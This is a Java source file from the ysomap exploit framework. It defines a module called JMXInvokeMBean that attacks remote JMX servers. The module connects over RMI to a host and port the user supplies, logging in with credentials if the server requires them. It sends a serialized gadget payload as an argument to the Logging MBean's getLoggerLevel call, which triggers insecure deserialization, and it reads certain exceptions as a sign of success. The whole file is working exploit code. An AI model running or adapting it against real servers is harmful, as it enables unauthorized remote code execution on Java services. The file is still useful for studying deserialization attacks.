package ysomap.exploits.jmx;

import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.exploits.AbstractExploit;

import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.RuntimeMBeanException;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.util.HashMap;
import java.util.Map;

/**
 * @author wh1t3P1g
 * @since 2020/3/4
 */
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {"all gadgets"}, param = false)
@Details("Exploit a JMX server with specific payload.\n" +
        "攻击一个JMX服务器，需要设定指定的payload。如果当前JMX服务器需要认证，则攻击前需设定用户名密码。")
public class JMXInvokeMBean extends AbstractExploit {

    @NotNull
    @Require(name = "rhost",detail = "remote JMX server host")
    public String rhost = null;

    @NotNull
    @Require(name = "rport", type = "int", detail = "remote JMX server port")
    public String rport = null;

    @NotNull
    @Require(name = "authorized", type = "boolean", detail = "set true if need authorization")
    public String authorized = "false";

    @Require(name = "username", detail = "username to login JMX Server")
    public String username;

    @Require(name = "password", detail = "password to login JMX Server")
    public String password;

    @NotNull
    private Object payload;
    private String payloadName;

    @Override
    public void work() {
        try {
            Map<String, Object> environment = new HashMap<>();

            if(Boolean.parseBoolean(authorized)){
                environment.put("jmx.remote.credentials",new String[]{username, password});
            }


            JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + rhost + ":" + rport + "/jmxrmi");
            JMXConnector jmxConnector = JMXConnectorFactory.connect(url, environment);
            MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

            ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");

            mbeanServerConnection.invoke(mbeanName,
                            "getLoggerLevel",
                                          new Object[]{payload},
                                          new String[]{String.class.getCanonicalName()});

            //close the connection
            jmxConnector.close();
        } catch (IllegalArgumentException | RuntimeMBeanException e){
            // exploit success! do nothing
        } catch (SecurityException e){
            Logger.error(e.getMessage()+", plz try another user:pass");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        status = Status.STOPPED;
    }

    @Override
    public String toString() {
        return "JMXInvokeMBean{" +
                "rhost='" + rhost + '\'' +
                ", rport='" + rport + '\'' +
                ", payloadName='" + payloadName + '\'' +
                '}';
    }
}
